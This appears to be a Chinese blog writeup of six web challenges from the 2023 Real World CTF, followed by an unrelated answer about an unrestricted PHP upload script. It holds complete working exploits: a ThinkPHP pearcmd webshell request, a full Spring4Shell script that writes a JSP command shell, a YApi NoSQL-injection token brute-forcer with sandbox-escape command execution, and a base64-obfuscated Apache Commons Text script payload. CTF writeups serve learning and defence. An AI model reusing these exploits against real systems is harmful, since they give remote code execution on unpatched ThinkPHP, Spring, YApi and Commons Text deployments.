2023第五届 Real World CTF 体验赛 Writeup(web)

关注WX:【小白SEC】查看更多内容……


2023第五届 Real World CTF 体验赛 Writeup(web)


前言:
第一次参加这种赛事,只会web的部分,里面遇见了一些问题,自己做出了4道题,剩下的2道今天参考官方WP终于做出来了,附上官方的WP:https://mp.weixin.qq.com/s/hZBvhedDCBzEuzSd021l6Q
今天突然看到之前传的WP一片混乱,重新整理了一下……


一、Be-a-Language-Expert

1.1参考:

  1. http://wiki.peiqi.tech/wiki/frame/ThinkPHP/ThinkPHP
  2. https://tttang.com/archive/1865/

1.2开始测试:

  1. 访问URL,提示存在ThinkPHP框架

image.png

  1. 通过学习 ThinkPHP6 的任意文件读取漏洞利用,进行攻击测试
  2. 构造以下POC

注意:
文档中介绍的路径要根据此靶场的实际路径进行上传,经过测试,此靶场的没有文档中的/public路径,同时题目中有介绍,权限受限,因此要上传shell需要上传到可操作的目录下,因此选择/tmp目录下

GET /index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?system($_REQUEST[1]);phpinfo();?>+../../../../../../../../../../../tmp/shell.php HTTP/1.1
Host: x.x.x.x:xxxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,th;q=0.8
Cookie: think_lang=zh-cn
Connection: close

image.png

  1. 现在已经成功上传shell,现在要进行文件读取
  2. 参考这篇文章,文章中对ThinkPHP漏洞进行了分析,需要构造url进行文件读取:

参考:
https://tttang.com/archive/1865/
注意:
此处根据分析,读取文件时会自动拼接.php文件后缀,因此进行文件读取时,不需要填写文件后缀,如上传的shell.php文件,但是通过此漏洞进行读取时,只需要输入shell即可

  1. 构造如下URL,并使用蚁剑连接:

http://x.x.x.x:xxxx/?lang=../../../../../../../../../../../tmp/shell
image.png

  1. 打开虚拟终端,使用 find / flag 查找flag位置:

image.png

  1. 发现根目录存在**/readflag/flag**,此题有权限问题,需要进行提权才能读取**/flag内容,但是直接运行/readflag也可以获取flag**:rwctf{PHP_1s_Th3_B3st_L@ngvag3_1n_the_w0r1d}

image.png

二、Spring4Shell:CVE-2022-22965

2.1必须条件:

此靶场通过提示,必须先进行nc连接获取web地址:

2.2参考

2.2.1信息泄露

此题根据提示有信息泄露,经过扫描存在**/.git**目录,因此进行git泄露工具获取信息:
image.pngimage.png

2.2.2查看项目名称

https://56data.cc/1961.html此CTF靶场需要通过泄露的信息确定最终shell的存储位置,所以通过此链接学习到了根据**appBase=“”**确定项目路径

2.2.3POC.py

https://github.com/TheGejr/SpringShell 根据上面的确定项目路径为chaitin,所以运行POC.py,需要修改为以下,将wabapps/ROOT修改为chaitin/ROOT:

#!/usr/bin/env python3
#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin

def Exploit(url):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"

    }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=chaitin/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:

        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass




def main():
    parser = argparse.ArgumentParser(description='Srping-Core Rce.')
    parser.add_argument('--file',help='url file',required=False)
    parser.add_argument('--url',help='target url',required=False)
    args = parser.parse_args()
    if args.url:
        Exploit(args.url)
    if args.file:
        with open (args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)

if __name__ == '__main__':
    main()

2.3开始

  1. 通过git泄露工具获取泄露文件:

  1. 确定项目信息:

  1. 按上方的要求修改POC.py
  2. 进行攻击,获得shell地址

image.png

  1. 执行命令获取flag:rwctf{67a887bfd2dceabc386f666da8170e1c}

注意:此处通过find / flag查找到flag位于/root/flag

http://x.x.x.x:xxxx/tomcatwar.jsp?pwd=j&cmd=find%20/%20-name%20flag
http://x.x.x.x:xxxx/tomcatwar.jsp?pwd=j&cmd=cat%20/root/flag

image.png

三、Be-a-Wiki-Hacker

3.1参考

https://blog.csdn.net/weixin_46944519/article/details/125141253

3.2开始

  1. 访问URL,通过底部信息确定版本

image.png

  1. 网络查找漏洞信息,下载脚本

https://blog.csdn.net/weixin_46944519/article/details/125141253https://github.com/crowsec-edtech/CVE-2022-26134/

  1. 进行RCE,获取flag:rwctf{154fea37c0f14b519942931db23e89e8}

image.png

四、Yummy Api

4.1注意:

此漏洞进行测试一定要看清楚版本,在此漏洞上浪费了很久时间,一直拿低版本的攻击方式进行测试,但是此处的版本为1.10.2,修补了旧的漏洞
旧版本漏洞利用:https://ranjuan.cn/yapi-remote-command-execute/
image.png

4.2参考:

https://www.sec-in.com/article/2037
https://github.com/vulhub/vulhub/blob/master/yapi/mongodb-inj/README.zh-cn.md
测试脚本:

import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin

logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''


def compute(passphase: str):
    nkey = 24
    niv = 16
    key = ''
    iv = ''
    p = ''

    while True:
        h = hashlib.md5()
        h.update(binascii.unhexlify(p))
        h.update(passphase.encode())
        p = h.hexdigest()

        i = 0
        n = min(len(p) - i, 2 * nkey)
        nkey -= n // 2
        key += p[i:i + n]
        i += n
        n = min(len(p) - i, 2 * niv)
        niv -= n // 2
        iv += p[i:i + n]
        i += n

        if nkey + niv == 0:
            return binascii.unhexlify(key), binascii.unhexlify(iv)


def aes_encode(data):
    key, iv = compute('abcde')
    padder = padding.PKCS7(128).padder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    encryptor = cipher.encryptor()
    ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
    return binascii.hexlify(ct).decode()


def aes_decode(data):
    key, iv = compute('abcde')
    unpadder = padding.PKCS7(128).unpadder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    decryptor = cipher.decryptor()
    ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
    ct = unpadder.update(ct) + unpadder.finalize()
    return ct.decode().strip()


def brute_token(target, already):
    url = urljoin(target, '/api/interface/up')
    current = '^'
    for i in range(20):
        for ch in choices:
            guess = current + ch
            data = {
                'id': -1,
                'token': {
                    '$regex': guess,
                    '$nin': already
                }
            }
            headers = {
                'Content-Type': 'application/json'
            }
            response = requests.post(url,
                                     data=json.dumps(data),
                                     headers=headers,
                                     # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                                     # verify=False,
                                     )
            res = response.json()

            if res['errcode'] == 400:
                current = guess
                break

        logger.debug(f'current cuess: {current}')

    return current[1:]


def find_owner_uid(target, token):
    url = urljoin(target, '/api/project/get')
    for i in range(1, 200):
        params = {'token': aes_encode(f'{i}|{token}')}
        response = requests.get(url, params=params,
                            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            # verify=False,
                            )
        data = response.json()
        if data['errcode'] == 0:
            return i

    return None


def find_project(target, token, pid=None):
    url = urljoin(target, '/api/project/get')
    params = {'token': token}
    if pid:
        params['id'] = pid

    response = requests.get(url,
                            params=params,
                            #proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            #verify=False,
                            )
    data = response.json()

    if data['errcode'] == 0:
        return data['data']


def find_col(target, token, brute_from, brute_to):
    url = urljoin(target, '/api/open/run_auto_test')

    for i in range(brute_from, brute_to):
        try:
            params = {'token': token, 'id': i, "mode": "json"}
            response = requests.get(url,
                                    params=params,
                                    timeout=5,
                                    #proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                                    #verify=False,
                                    )

            data = response.json()
            if 'message' not in data:
                continue

            if data['message']['len'] > 0:
                logger.debug('Test Result Found: %r', response.url)
                yield i
        except requests.exceptions.Timeout:
            logger.debug('id=%d timeout', i)
            pass


def update_project(target, token, project_id, command):
    url = urljoin(target, '/api/project/up')

    command_hex = command.encode().hex()
    script = script_template % command_hex
    response = requests.post(url,
                             params={'token': token},
                             json={'id': project_id, 'after_script': script},
                             # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                             # verify=False,
                             )
    data = response.json()
    return data['errcode'] == 0


def run_auto_test(target, token, col_id):
    url = urljoin(target, '/api/open/run_auto_test')

    response = requests.get(url, 
                            params={'token': token, 'id': col_id, 'mode': 'json'},
                            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            # verify=False,
                            )

    try:
        data = response.json()
        return data['list'][0]['res_body'][8:-8]
    except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
        g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
        if g:
            return g.group(1).decode()
        else:
            return None


def clear_project(target, token, project_id, old_after_script):
    url = urljoin(target, '/api/project/up')
    response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
    data = response.json()
    return data['errcode'] == 0


@click.group()
@click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
def cli(debug):
    if debug:
        logger.setLevel('DEBUG')


@cli.command('enc')
@click.argument('data', type=str, required=True)
def cmd_enc(data: str):
    click.echo(aes_encode(data))


@cli.command('dec')
@click.argument('data', type=str, required=True)
def cmd_dec(data: str):
    click.echo(aes_decode(data))


@cli.command('token')
@click.option('-u', '--url', type=str, required=True)
@click.option('-c', '--count', type=int, default=5)
def cmd_token(url, count):
    already = []
    for i in range(count):
        token = brute_token(url, already)
        if not token:
            break

        click.echo(f'find a valid token: {token}')
        already.append(token)


@cli.command('owner')
@click.option('-u', '--url', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_owner(url, token):
    aid = find_owner_uid(url, token)
    e = aes_encode(f'{aid}|{token}')
    click.echo(f'your owner id is: {aid}, encrypted token is {e}')


@cli.command('project')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_project(url, owner, token):
    token = aes_encode(f'{owner}|{token}')
    project = find_project(url, token)
    if project:
        logger.info('[+] project by this token: %r', project)
        click.echo(f'your project id is: {project["_id"]}')


@cli.command('col')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
@click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
def cmd_col(url, owner, token, brute_from, brute_to):
    token = aes_encode(f'{owner}|{token}')
    for i in find_col(url, token, brute_from, brute_to):
        click.echo(f'found a valid col id: {i}')


@cli.command('rce')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--pid', 'project_id', type=int, required=True)
@click.option('--cid', 'col_id', type=int, required=True)
@click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
def cmd_rce(url, owner, token, project_id, col_id, command):
    token = aes_encode(f'{owner}|{token}')
    project = find_project(url, token, project_id)
    if not project:
        click.echo('[-] failed to get project')
        return False

    old_after_script = project.get('after_script', '')
    if not update_project(url, token, project_id, command):
        click.echo('[-] failed to update project')
        return False

    output = run_auto_test(url, token, col_id)
    if output:
        click.echo(output)
        clear_project(url, token, project_id, old_after_script)
        return True

    clear_project(url, token, project_id, old_after_script)
    return False


@cli.command('one4all')
@click.option('-u', '--url', type=str, required=True)
@click.option('--count', type=int, default=5)
@click.option('-c', '--command', type=str, default='id')
def cmd_one4all(url, count, command):
    already = []
    for i in range(count):
        token = brute_token(url, already)
        if not token:
            logger.info('[-] no new token found, exit...')
            break

        already.append(token)
        logger.info('[+] find a new token: %s', token)
        owner_id = find_owner_uid(url, token)
        if not owner_id:
            logger.info('[-] failed to find the owner id using token %s', token)
            continue

        etoken = aes_encode(f'{owner_id}|{token}')
        logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
        project = find_project(url, etoken)
        if not project:
            logger.info('[-] failed to find project using token %s', token)
            continue

        project_id = project['_id']
        logger.info('[+] project_id = %s, project = %r', project_id, project)
        col_ids = find_col(url, etoken, 1, 200)
        if not col_ids:
            logger.info('[+] failed to find cols in project %s, try next project...', project_id)

        for col_id in col_ids:
            logger.info('[+] col_id = %s', col_id)
            click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
            click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')

            if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
                return


if __name__ == '__main__':
    cli()

4.3开始

直接通过攻击脚本进行攻击:
image.png

五、ApacheCommandText:

5.1注意:

此题过滤了script、dns、url、file等协议,在测试时使用将这些payload进行base64加密并使用basedecoder解密即可执行,但是直接使用命令执行没法用,最后没做出来,最终参考官方WP是获得flag

5.2开始:

  1. 访问URL:

image.png

  1. 构造payload
1、命令执行:
${script:JavaScript:var a=java.lang.Runtime.getRuntime().exec("/readflag");var b=a.getInputStream();var c=new java.io.BufferedReader(new java.io.InputStreamReader(b));c.readLine();}
-----------------------------------------------
2、base64加密:
JHtzY3JpcHQ6SmF2YVNjcmlwdDp2YXIgYT1qYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiL3JlYWRmbGFnIik7dmFyIGI9YS5nZXRJbnB1dFN0cmVhbSgpO3ZhciBjPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKGIpKTtjLnJlYWRMaW5lKCk7fQ==
-----------------------------------------------
3、完整payload:
${base64decoder:JHtzY3JpcHQ6SmF2YVNjcmlwdDp2YXIgYT1qYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiL3JlYWRmbGFnIik7dmFyIGI9YS5nZXRJbnB1dFN0cmVhbSgpO3ZhciBjPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKGIpKTtjLnJlYWRMaW5lKCk7fQ==}
  1. 发送payload,获取flag:rwctf{rwctf_1terat1on_1s_4_g0od_des1gN_e5aa}

image.png

六、Evil MySQL Server

6.1注意:

此题没做出来,最后参考官方的WP,使用MySQL_Fake_Serve完成,但是在使用时,因为我的VPS未开放3306端口,因此在本地的Windows执行,并将端口转发出来获取到flag,应该修改脚本也可以完成MySQL_Fake_Serve:https://github.com/fnmsd/MySQL_Fake_Server

6.2开始

  1. 访问URL:

image.png

  1. 使用nps工具,进行端口转发:

  1. Windows开启MySQL_Fake_Server:python3 server.py

  1. 网页访问nps中设置的VPS端口,用户名为fileread_/flag:

  1. 点击提交后返回查看flag:rwctf{d041bd251adb4380b3e1dea2bd355f8f}
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,我们需要分析题目所提供的代码: ```php <?php error_reporting(0); if ($_FILES["upload"]["error"] > 0) { echo "Error: " . $_FILES["upload"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["upload"]["name"] . "<br />"; echo "Type: " . $_FILES["upload"]["type"] . "<br />"; echo "Size: " . ($_FILES["upload"]["size"] / 1024) . " Kb<br />"; move_uploaded_file($_FILES["upload"]["tmp_name"], "upload/" . $_FILES["upload"]["name"]); echo "Stored in: " . "upload/" . $_FILES["upload"]["name"]; } ?> ``` 从上述代码中我们可以发现,这是一个文件上传的代码,该代码运行后会将用户上传的文件存储到 `upload` 目录下。 但是,该代码没有对上传的文件类型进行限制,这意味着我们可以上传任何类型的文件,甚至是一些恶意的文件。我们可以尝试上传一些常见的恶意文件,比如 `webshell`。 我们可以在本地创建一个 `webshell.php` 文件,然后上传到服务器上的 `upload` 目录。上传完成后,我们可以访问 `http://xxx.xxx.xxx.xxx/upload/webshell.php` 来执行我们上传的 `webshell`。 最后,我们需要注意的是,该上传脚本没有做任何安全性检查,这意味着我们可以上传任意大小的文件,这可能会影响服务器的性能,甚至导致服务器崩溃。因此,在实际应用中,我们应该对上传的文件大小进行限制,同时对上传的文件类型进行检查,从而确保服务器的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值